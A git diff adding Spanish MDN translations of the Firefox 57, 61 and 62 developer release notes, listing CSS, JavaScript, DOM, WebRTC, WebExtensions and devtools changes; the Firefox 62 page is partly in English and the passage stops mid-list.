+ <li>En Gecko, los efectos {{cssxref("transition", "transitions")}} no funcionan si se transiciona desde un {{cssxref("text-shadow")}} con un color especificado a un <code>text-shadow</code> sin ningún color  ({{bug(726550)}}). Este comportamiento se ha corregido en Quantum.</li>
+ <li>En Gecko, cancelar una animación de relleno (p. ej., con <code>animation-fill-mode: forwards</code> definido) puede desencadenar un conjunto de transiciones en el mismo elemento, aunque únicamente una vez (véase el {{bug(1192592)}} y <a href="https://bug1192592.bmoattachments.org/attachment.cgi?id=8843824">estas pruebas</a> para más información). Por lo general, las animaciones declaratorias no deberían desencadenar animaciones. Esto se ha corregido en Quantum.</li>
+ <li>En Gecko, las animaciones que utilizan ems como unidad no reciben las modificaciones realizadas en {{cssxref("font-size")}} en el elemento padre del elemento animado, aunque deberían ({{bug(1254424)}}). Quantum CSS corrige esto.</li>
+ <li>Gecko además maneja la herencia de <code>font-size</code> de manera diferente a la de Quantum CSS, por lo que para algunas configuraciones de idioma, los tamaños de letra heredados quedaban más pequeños de lo esperado (véase {{bug(1391341)}}). Quantum corrige esto.</li>
+ <li>Gecko reutiliza el mismo mecanismo empleado al analizar una ficha de URL durante el análisis de las funciones <code>domain()</code> o <code>url-prefix()</code> para la regla {{cssxref("@document", "@-moz-document")}}. Quantum CSS no utiliza el mismo mecanismo y no considera las fichas como no válidas cuando contienen paréntesis o comillas ({{bug(1362333)}}).</li>
+ <li>En Gecko, cuando se define un tipo de letra del sistema como el valor del {{domxref("CanvasRenderingContext2D.font", "tipo de letra")}} de algún contexto del lienzo 2D (p. ej., <code>menu</code>), la obtención del valor del tipo de letra no devuelve el resultado correcto (no devuelve nada). Este problema quedó solucionado en Quantum. ({{bug(1374885)}}).</li>
+ <li>En Gecko, cuando se crea un subárbol desligado (p. ej., un {{htmlelement("div")}} creado a través de {{domxref("Document.createElement","createElement()")}} que todavía no se inserta en el DOM), el elemento raíz del subárbol se define como un elemento de nivel bloque. En Quantum CSS, el elemento se define como alineado, tal como se define en la especificación ({{bug(1374994)}}).</li>
+ <li>Gecko rechaza las expresiones {{cssxref("calc")}} ―lo que invalida el valor― cuando se utilizan como el componente radial de una función {{cssxref("radial-gradient")}} ({{bug(1376019)}}). Quantum CSS lo resuelve.</li>
+ <li>En Gecko, <code>calc(1*2*3)</code> no es analizado debidamente; Quantum CSS soluciona el problema ({{bug(1379467)}}).</li>
+ <li>En Quantum CSS, <a href="https://drafts.csswg.org/css-values-3/#calc-notation"><code>calc()</code> se admite en todos los sitios que la especificación indica</a> ({{bug(1350857)}}). En Gecko, este no es el caso.</li>
+ <li>Gecko contiene un defecto que provoca que los pseudoelementos {{cssxref("::before")}} y {{cssxref("::after")}} se generen aun si el valor de la propiedad {{cssxref("content")}} se define como <code>normal</code> o <code>none</code>. Este comportamiento es contrario a la especificación ({{bug(1387931)}}) y se ha corregido en Quantum.</li>
+ <li>Otro defecto de Gecko provoca que la propiedad {{cssxref("background-position")}} no pueda transicionarse entre dos valores que contengan números diferentes de valores {{cssxref("&lt;position&gt;")}}, por ejemplo, <code>background-position: 10px 10px;</code> y <code>background-position: 20px 20px, 30px 30px;</code> (véase {{bug(1390446)}}). Quantum resuelve el error.</li>
+</ul>
+
+<h3 id="SVG">SVG</h3>
+
+<p><em>No hay ningún cambio.</em></p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<ul>
+ <li>El bucle no estándar {{jsxref("Statements/for_each...in", "for each...in")}} (E4X) fue eliminado. En su lugar, utilícese {{jsxref("Statements/for...of", "for...of")}} y consúltese <a href="/en-US/docs/Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated">Atención: los bucles de JavaScript 1.6 «for-each-in» son obsoletos</a> para obtener ayuda en la migración. ({{bug(1083470)}}).</li>
+ <li>Se marcaron como obsoletos los métodos {{jsxref("Object.prototype.watch()")}} y {{jsxref("Object.unwatch", "unwatch()")}}. Se emitirá una alerta si se utilizan y serán eliminados en el futuro próximo ({{bug(934669)}}).</li>
+ <li>Se eliminaron los objetos {{jsxref("Iterator")}} y {{jsxref("StopIteration")}} y el protocolo de iteración heredado ({{bug(1098412)}}).</li>
+</ul>
+
+<h3 id="API">API</h3>
+
+<h4 id="API_nuevas">API nuevas</h4>
+
+<ul>
+ <li>Se ha activado de manera predeterminada la API {{domxref("PerformanceObserver")}} ({{bug(1386021)}}).</li>
+ <li>Añadimos las interfaces {{domxref("AbortController")}} y {{domxref("AbortSignal")}} (conocidas como la API «Abort»), que permiten interrumpir las solicitudes del DOM (como las de <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">recuperación</a>) si así se desea ({{bug(1378342)}}).</li>
+</ul>
+
+<h4 id="DOM">DOM</h4>
+
+<ul>
+ <li>Se ha implementado la propiedad {{domxref("Selection.type")}} de la <a href="/en-US/docs/Web/API/Selection_API">API Selection</a> ({{bug(1359157)}}).</li>
+ <li>Se admite {{domxref("Document.createEvent", "Document.createEvent('FocusEvent')")}} ahora ({{bug(1388069)}}).</li>
+ <li>La propiedad <code>files</code> de la interfaz {{domxref("HTMLInputElement")}} puede definirse ahora ({{bug(1384030)}}).</li>
+ <li>El método <code>HTMLDocument.getSelection()</code> se ha trasladado a la interfaz {{domxref("Document.getSelection","Document")}} para que quede disponible para los documentos XML ({{bug(718711)}}).</li>
+ <li>Hemos implementado el suceso {{Event("messageerror")}}, el cual puede ejecutar código tras su desencadenamiento por parte de manejadores de sucesos utilizados en destinos de mensajes. Véase {{domxref("MessagePort.onmessageerror")}}, {{domxref("DedicatedWorkerGlobalScope.onmessageerror")}}, {{domxref("Worker.onmessageerror")}}, {{domxref("BroadcastChannel.onmessageerror")}} y {{domxref("Window.onmessageerror")}} ({{bug(1359017)}}).</li>
+ <li>Cuando se emplea la iteración en valores {{domxref("Headers")}}, estos quedarán organizados en orden lexicográfico y se combinarán los valores de los nombres de cabeceras duplicados ({{bug(1396848)}}).</li>
+</ul>
+
+<h4 id="Sucesos_de_DOM">Sucesos de DOM</h4>
+
+<p><em>No hay ningún cambio.</em></p>
+
+<h4 id="Multimedia_y_WebRTC">Multimedia y WebRTC</h4>
+
+<ul>
+ <li>Ahora se admiten mensajes de cualquier tamaño (hasta 1 GiB, aunque 256 kiB es más interoperativo) en {{domxref("RTCDataChannel")}} por medio del uso de la opción «end-of-record» (EOR) en los mensajes de SCTP. Consúltese {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Using_data_channels", "Understanding message size limits")}} para obtener más información ({{bug(979417)}}).
+  <div class="note">Como Firefox aún no admite el protocolo ndata de SCTP, que permite intercalar mensajes de SCTP de varias fuentes, enviar objetos de datos grandes puede causar retardos importantes en el resto del tránsito SCTP. Véase el {{bug(1381145)}} para estar al tanto de la implementación de ndata en Firefox.</div>
+ </li>
+ <li>El método {{domxref("RTCDataChannel.send()")}} ahora puede emitir una excepción <code>TypeError</code> si el tamaño del mensaje que se intenta enviar no es compatible con el agente de usuario de destino (esto se implementó como parte del {{bug(979417)}}).</li>
+ <li>La <a href="/en-US/docs/Web/API/MediaStream_Recording_API">API MediaStream Recording</a> se ha actualizado de modo que los sucesos {{event("error")}} que se envíen para notificar problemas acaecidos durante la grabación son ahora del tipo {{domxref("MediaRecorderErrorEvent")}} en lugar de sucesos genéricos.</li>
+ <li>Se actualizó la documentación concerniente a {{domxref("OfflineAudioContext")}}, dado que sus entradas de constructores pueden especificarse ahora dentro de un objeto en lugar de una lista de parámetros ({{bug(1388591)}}).</li>
+</ul>
+
+<h3 id="Seguridad">Seguridad</h3>
+
+<ul>
+ <li>Los URL <code>resource://</code> ya no filtran información ({{bug(863246)}})</li>
+ <li>Los URI de datos ahora se manipulan como orígenes opacos únicos, en vez de heredar el origen del objeto de configuración responsable de la navegación ({{bug(1324406)}}).</li>
+</ul>
+
+<h3 id="Plugins"><em>Plugins</em></h3>
+
+<p><em>No hay ningún cambio.</em></p>
+
+<h3 id="Otros">Otros</h3>
+
+<ul>
+ <li>El valor <code>fullscreen</code> del campo <code>display</code> del <a href="/en-US/docs/Web/Manifest">manifiesto de aplicación web</a> ahora funciona en Firefox para Android 57 ({{bug(1126479)}}).</li>
+ <li>La <a href="/en-US/docs/Mozilla/Firefox/Headless_mode">modalidad sin periféricos</a> de Firefox ahora incluye el parámetro <code>-screenshot</code>, que permite a los usuarios tomar capturas de pantalla de sitios web directamente desde la consola ({{bug(1378010)}}).</li>
+</ul>
+
+<h2 id="Eliminaciones_de_la_plataforma_web">Eliminaciones de la plataforma web</h2>
+
+<h3 id="HTML_2">HTML</h3>
+
+<ul>
+ <li><code>&lt;link rel="preload"&gt;</code> (véase <a href="/en-US/docs/Web/HTML/Preloading_content">Precargar contenido con rel="preload"</a>) fue desactivado en Firefox 57 a causa de varios problemas de compatibilidad con la web (p. ej., {{bug(1405761)}}). Se espera que para Firefox 58 quede lista la versión de reemplazo, la cual funcionará para recursos no almacenables en la antememoria.</li>
+</ul>
+
+<h3 id="API_2">API</h3>
+
+<ul>
+ <li>La <a href="/en-US/docs/Archive/Social_API">API Social</a>, privativa de Mozilla, se ha eliminado completamente ({{bug(1388902)}}).</li>
+</ul>
+
+<h3 id="SVG_2">SVG</h3>
+
+<p><em>No hay ningún cambio.</em></p>
+
+<h2 id="Cambios_relativos_a_los_complementos_y_los_programadores_de_Mozilla">Cambios relativos a los complementos y los programadores de Mozilla</h2>
+
+<div class="note">
+<p>A partir de Firefox 57, se ha eliminado por completo la compatibilidad con los complementos basados en la tecnología XPCOM. Todas las extensiones deben convertirse para emplear la <a href="/en-US/Add-ons/WebExtensions">tecnología nueva</a>, conocida como WebExtensions, o de lo contrario dejarán de funcionar.</p>
+</div>
+
+<h3 id="WebExtensions">WebExtensions</h3>
+
+<p>Se añadieron o ampliaron las API siguientes:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks">bookmarks</a></code>
+
+  <ul>
+   <li>compatibilidad con separadores mediante <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks/BookmarkTreeNodeType">bookmarks.BookmarkTreeNodeType</a></code></li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code>
+  <ul>
+   <li>propiedad <code>theme_icons</code> para iconos claros u oscuros en función del tema</li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browserAction</a></code>
+  <ul>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction/openPopup">browserAction.openPopup()</a></code></li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserSettings">browserSettings</a></code>
+  <ul>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserSettings/allowPopupsForUserEvents">allowPopupsForUserEvents</a></code></li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserSettings/homepageOverride">homepageOverride</a></code></li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserSettings/imageAnimationBehavior">imageAnimationBehavior</a></code></li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserSettings/newTabPageOverride">newTabPageOverride</a></code></li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browsingData">browsingData</a></code>
+  <ul>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browsingData/removeLocalStorage">browsingData.removeLocalStorage()</a></code></li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/clipboard">clipboard</a></code>
+  <ul>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/clipboard/setImageData">setImageData()</a></code></li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/contextualIdentities">contextualIdentities</a></code>
+  <ul>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/contextualIdentities/onCreated">onCreated</a></code></li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/contextualIdentities/onRemoved">onRemoved</a></code></li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/contextualIdentities/onUpdated">onUpdated</a></code></li>
+   <li><code>colorCode</code> y <code>iconUrl</code> en <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/contextualIdentities/ContextualIdentity">contextualIdentitities.ContextualIdentity</a></code></li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.panels">devtools.panels</a></code>
+  <ul>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.panels/ElementsPanel/createSidebarPane">devtools.panels.ElementsPanel.createSidebarPane()</a></code></li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/downloads">downloads</a></code>
+  <ul>
+   <li>opción <code>incognito</code> en <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/downloads/download">downloads.download()</a></code></li>
+   <li>propiedad <code>estimatedEndTime</code> en <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/downloads/DownloadItem">downloads.DownloadItem</a></code></li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/find">find</a></code>
+  <ul>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/find/find">find()</a></code></li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/find/highlightResults">highlightResults()</a></code></li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/find/removeHighlighting">removeHighlighting()</a></code></li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction/openPopup">pageAction.openPopup()</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/API/privacy/websites">privacy</a></code>
+  <ul>
+   <li><code><a href="/en-US/Add-ons/WebExtensions/API/privacy/websites">websites.trackingProtectionMode</a></code></li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/proxy">proxy</a></code>
+  <ul>
+   <li><code>FindProxyForURL()</code> puede devolver un objeto ahora</li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime">runtime</a></code>
+  <ul>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/openOptionsPage">runtime.openOptionsPage()</a></code> funciona en Android</li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/sessions">sessions</a></code>
+  <ul>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/sessions/setTabValue">setTabValue()</a></code></li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/sessions/getTabValue">getTabValue()</a></code></li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/sessions/removeTabValue">removeTabValue()</a></code></li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/sessions/setWindowValue">setWindowValue()</a></code></li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/sessions/getWindowValue">getWindowValue()</a></code></li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/sessions/removeWindowValue">removeWindowValue()</a></code></li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/sidebarAction">sidebarAction</a></code>
+  <ul>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/sidebarAction/open">sidebarAction.open()</a></code></li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage">storage</a></code>
+  <ul>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage/managed">storage.managed</a></code></li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs">tabs</a></code>
+  <ul>
+   <li>opción <code>loadReplace</code> en <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update">tabs.update()</a></code></li>
+   <li>propiedad <code>discarded</code> en <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/Tab">tabs.Tab</a></code>, <code><a href="/en-US/docs/">tabs.onUpdated</a></code> y <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query">tabs.query()</a></code></li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create">tabs.create()</a></code> puede abrir URL con «view-source:»</li>
+   <li>propiedad <code>openerTabId</code> en <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/Tab">tabs.Tab</a></code>, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create">tabs.create()</a></code>, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query">tabs.query()</a></code> y <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update">tabs.update()</a></code></li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/theme">theme</a></code>
+  <ul>
+   <li><code>colors.toolbar</code></li>
+   <li><code>colors.toolbar_field</code></li>
+   <li><code>colors.toolbar_field_text</code></li>
+   <li><code>colors.toolbar_text</code></li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/theme">theme</a></code>
+  <ul>
+   <li>opción <code>windowId</code> para <code><a href="/en-US/Add-ons/WebExtensions/API/theme/update">theme.update()</a></code></li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest">webRequest</a></code>
+  <ul>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest/filterResponseData">filterResponseData()</a></code></li>
+   <li>propiedad <code>proxyInfo</code> en sucesos <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest">webRequest</a></code></li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/windows">windows</a></code>
+  <ul>
+   <li>opción <code>allowScriptsToClose</code> en <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/windows/create">windows.create()</a></code></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="https://www.fxsitecompat.com/en-US/versions/57">Compatibilidad de sitios con Firefox 57</a></li>
+</ul>
+</article>
+
+<ul>
+</ul>
+
+<h2 id="Versiones_anteriores"> Versiones anteriores</h2>
+
+<p>{{Firefox_for_developers(56)}}</p>
diff --git a/files/es/mozilla/firefox/releases/61/index.html b/files/es/mozilla/firefox/releases/61/index.html
new file mode 100644
index 0000000000..49fbfdb07c
--- /dev/null
+++ b/files/es/mozilla/firefox/releases/61/index.html
@@ -0,0 +1,135 @@
+---
+title: Firefox 61 for developers
+slug: Mozilla/Firefox/Releases/61
+translation_of: Mozilla/Firefox/Releases/61
+---
+<div>{{FirefoxSidebar}}</div><div>{{draft}}</div>
+
+<p class="summary">Este artículo muestra información sobre los cambios en Firefox 61 que afectarán a los desarrolladores. Firefox 61 es la versión beta actual de Firefox, y se lanzará el 26 de Junio de 2018.</p>
+
+<h2 id="Cambios_para_desarrolladores_web">Cambios para desarrolladores web</h2>
+
+<h3 id="Herramientas_de_desarrollador">Herramientas de desarrollador</h3>
+
+<p><em>No hay cambios.</em></p>
+
+<h3 id="HTML">HTML</h3>
+
+<p><em>No hay cambios.</em></p>
+
+<h3 id="CSS">CSS</h3>
+
+<p><em>No hay cambios.</em></p>
+
+<h3 id="SVG">SVG</h3>
+
+<ul>
+ <li>Las propiedades <code>ping</code>, <code>rel</code>, <code>referrerPolicy</code>, <code>relList</code>, <code>hreflang</code>, <code>type</code> y <code>text</code> han sido añadidas al elemento {{SVGElement("a")}}  ({{domxref("SVGAElement")}}) para ser consistente con el elemento HTML {{HTMLElement("a")}} ({{bug("1451823")}}).</li>
+ <li> El elemento {{SVGElement("textPath")}}({{domxref("SVGTextPathElement")}}) ahora soporta el <code>path</code> SVG2 y los atributos <code>side</code> ({{bug("1446617")}} y {{bug("1446650")}}).</li>
+ <li>La interfaz {{domxref("SVGGeometryElement")}} ahora es soportada por más elementos y no solo para el elemento {{SVGElement("path")}}  ({{bug("1325320")}}).</li>
+</ul>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<ul>
+ <li>Los metodos {{jsxref("String.prototype.trimStart()")}} y {{jsxref("String.prototype.trimEnd()")}} han sido implementados (mira {{bug(1434007)}}). <code>trimLeft</code> y <code>trimRight</code> permanecen como alias por razones de compatibilidad web.</li>
+</ul>
+
+<h3 id="APIs">APIs</h3>
+
+<h4 id="Nueva_APIs">Nueva APIs</h4>
+
+<p><em>No hay cambios.</em></p>
+
+<h4 id="DOM">DOM</h4>
+
+<p><em>No hay cambios.</em></p>
+
+<h4 id="Eventos_DOM">Eventos DOM</h4>
+
+<p><em>No hay cambios.</em></p>
+
+<h4 id="Trabajadores_del_servicio">Trabajadores del servicio</h4>
+
+<p><em>No hay cambios.</em></p>
+
+<h4 id="Media_y_WebRTC">Media y WebRTC</h4>
+
+<p><em>No hay cambios.</em></p>
+
+<h4 id="Canvas_y_WebGL">Canvas y WebGL</h4>
+
+<p><em>No hay cambios.</em></p>
+
+<h3 id="CSSOM">CSSOM</h3>
+
+<p><em>No hay cambios.</em></p>
+
+<h3 id="HTTP">HTTP</h3>
+
+<ul>
+ <li>La cookie <code><strong>SameSite</strong></code> ha sido implementada. Mira <a href="/en-US/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a> y <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> ({{bug(795346)}}).</li>
+</ul>
+
+<h3 id="Seguridad">Seguridad</h3>
+
+<p><em>No hay cambios.</em></p>
+
+<h3 id="Plugins">Plugins</h3>
+
+<p><em>No hay cambios.</em></p>
+
+<h3 id="Otros">Otros</h3>
+
+<p><em>No hay cambios.</em></p>
+
+<h2 id="Eliminaciones_de_la_plataforma_web">Eliminaciones de la plataforma web</h2>
+
+<h3 id="HTML_2">HTML</h3>
+
+<p><em>No hay cambios.</em></p>
+
+<h3 id="CSS_2">CSS</h3>
+
+<p><em>No hay cambios.</em></p>
+
+<h3 id="APIs_2">APIs</h3>
+
+<p><em>No hay cambios.</em></p>
+
+<h3 id="SVG_2">SVG</h3>
+
+<ul>
+ <li>La obsoleta (y nunca implementada correctamente) propiedad {{domxref("SVGViewElement")}}<code>.viewTarget</code> ha sido eliminada ({{bug(1455763)}}).</li>
+ <li>Las siguientes propiedades obsoletas han sido eliminadas de {{domxref("SVGSVGElement")}} ({{bug(1133172)}}):
+  <ul>
+   <li><code>pixelUnitToMillimeterX</code></li>
+   <li><code>pixelUnitToMillimeterY</code></li>
+   <li><code>screenPixelToMillimeterX</code></li>
+   <li><code>screenPixelToMillimeterY</code></li>
+  </ul>
+ </li>
+ <li>El constructor no-estandar <code>SVGNumber()</code> ha sido eliminado ({{bug("1455940")}}).</li>
+</ul>
+
+<h3 id="Otros_2">Otros</h3>
+
+<p><em>No hay cambios.</em></p>
+
+<h2 id="Cambios_para_modificaciones_y_desarrolladores_de_Mozilla">Cambios para modificaciones y desarrolladores de Mozilla</h2>
+
+<h3 id="Extensiones_web">Extensiones web</h3>
+
+<p><em>No hay cambios.</em></p>
+
+<h2 id="También_puedes_ver">También puedes ver</h2>
+
+<ul>
+ <li>Compatibilidad de sitios para Firefox 61</li>
+</ul>
+
+<h2 id="Versiones_anteriores">Versiones anteriores</h2>
+
+<p>{{Firefox_for_developers(60)}}</p>
+
+<p> </p>
diff --git a/files/es/mozilla/firefox/releases/62/index.html b/files/es/mozilla/firefox/releases/62/index.html
new file mode 100644
index 0000000000..ccc68fce29
--- /dev/null
+++ b/files/es/mozilla/firefox/releases/62/index.html
@@ -0,0 +1,235 @@
+---
+title: Firefox 62 for developers
+slug: Mozilla/Firefox/Releases/62
+translation_of: Mozilla/Firefox/Releases/62
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p class="summary">Este artículo provee información sobre los cambios de Firefox 62 que van a afectar a los programadores. Firefox 62 ha sido lanzado en 5 de septiembre, 2018.</p>
+
+<h2 id="Cambios_para_programadores_de_red">Cambios para programadores de red</h2>
+
+<h3 id="Herramientas_para_programadores">Herramientas para programadores</h3>
+
+<ul>
+ <li>La editor de formas ya está disponible por defecto -- vea a <a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">Editar formas en CSS </a>para más informacion.</li>
+ <li>You can now split the Rules view out into its own pane, separate from the other tabs on the CSS pane. See <a href="/en-US/docs/Tools/Page_Inspector/3-pane_mode">Page inspector 3-pane mode</a> for more details.</li>
+ <li>The Grid inspector has updated features, and all new documentation — see <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">CSS Grid Inspector: Examine grid layouts</a>.</li>
+ <li>You now have four options for the location of the Developer Tools. In addition to the default location on the bottom of the window, you can choose to locate the tools on either the left or right sides of the main window or in a separate window ({{bug(1192642)}}).</li>
+ <li>The <a href="/en-US/docs/Tools/Accessibility_inspector">Accessibility inspector</a> has had a couple of minor updates:
+  <ul>
+   <li>It no longer exposes the <code>help</code> property, which isn't properly implemented in Gecko ({{bug(1467643)}}).</li>
+   <li>The <code>keyboardShortcut</code> property now correctly exposes any keyboard shortcut available to activate the currently inspected node ({{bug(1467381)}}).</li>
+  </ul>
+ </li>
+ <li>A close button has been added to the <a href="/en-US/docs/Tools/Web_Console/Split_console">split console</a> toolbar.</li>
+ <li>If the option to "Select an iframe as the currently targeted document" is checked, the icon will appear in the toolbar while the Settings tab is displayed, even if the current page doesn't include any iframes ({{bug(1456069)}}).</li>
+ <li>The <a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a>'s <a href="/en-US/docs/Tools/Network_Monitor#Cookies">Cookies tab</a> now shows the cookie <code>samesite</code> attribute ({{bug(1452715)}}).</li>
+ <li><a href="/en-US/docs/Tools/Responsive_Design_Mode">Responsive design mode</a> now works inside container tabs ({{bug(1306975)}}).</li>
+ <li>When {{Glossary("CORS")}} errors occur and are reported on the console, Firefox now provides a link to the corresponding page in our <a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS error documentation</a> ({{bug(1475391)}}).</li>
+ <li>Create a screenshot of the current page (with an optional filename) from the Console tab ({{bug(1464461)}}) using the following command:<br>
+  <br>
+  <code>:screenshot &lt;filename.png&gt; --fullpage</code><br>
+  <br>
+  where <code>&lt;filename.png&gt;</code> is the desired filename. The file will be saved to your downloads folder. The <code>--fullpage</code> parameter is optional, but if included, it will save the full web page. This option also adds <code>-fullpage</code> to the name of the file. For a list of all options available for this command, enter: <code>:screenshot --help</code></li>
+</ul>
+
+<h4 id="Removals">Removals</h4>
+
+<ul>
+ <li>The <a href="/en-US/docs/Tools/GCLI">Developer Toolbar/GCLI</a> (accessed with <kbd>Shift</kbd> + <kbd>F2</kbd>), <strong>has been removed</strong> from Firefox ({{bug(1461970)}}). Both the Developer Toolbar UI and the GCLI upstream library have become unmaintained, some of its features are broken (some ever since e10s), it is blocking the <code><span class="quote">unsafeSetInnerHTML</span></code> work, usage numbers are very low, alternatives exist for the most used commands.</li>
+</ul>
+
+<h3 id="HTML">HTML</h3>
+
+<p><em>No changes.</em></p>
+
+<h3 id="CSS">CSS</h3>
+
+<ul>
+ <li><code>:-moz-selection</code> has been unprefixed to {{cssxref("::selection")}} ({{bug(509958)}}).</li>
+ <li><code>x</code> is now supported as a unit for the {{cssxref("&lt;resolution&gt;")}} type ({{bug(1460655)}}).</li>
+ <li>{{cssxref("shape-margin")}}, {{cssxref("shape-outside")}}, and {{cssxref("shape-image-threshold")}} are now enabled by default ({{bug(1457297)}}).</li>
+</ul>
+
+<h4 id="Removals_2">Removals</h4>
+
+<ul>
+ <li>All <a href="/en-US/docs/Web/CSS/display#XUL_values">XUL <code>display</code> values</a> with the exception of <code>-moz-box</code> and <code>-moz-inline-box</code> have been removed from non-XUL documents in {{bug(1288572)}}.</li>
+</ul>
+
+<h3 id="SVG">SVG</h3>
+
+<p><em>No changes.</em></p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<ul>
+ <li>The {{jsxref("WebAssembly.Global()")}} constructor is now supported, along with global variables in WebAssembly ({{bug(1464656)}}).</li>
+ <li>The {{jsxref("Array.prototype.flat()")}} and {{jsxref("Array.prototype.flatMap()")}} methods are now enabled by default ({{bug(1435813)}}).</li>
+ <li>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/import.meta">import.meta</a></code> property has been implemented to expose context-specific metadata to a JavaScript module ({{bug(1427610)}}).</li>
+ <li>JavaScript <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals">string literals</a> may now directly contain the U+2028 LINE SEPARATOR and U+2029 PARAGRAPH SEPARATOR characters. As a consequence, {{jsxref("JSON")}} syntax is now a subset of JavaScript literal syntax (see {{bug(1435828)}} and the TC39 proposal <a href="https://github.com/tc39/proposal-json-superset">json-superset</a>).</li>
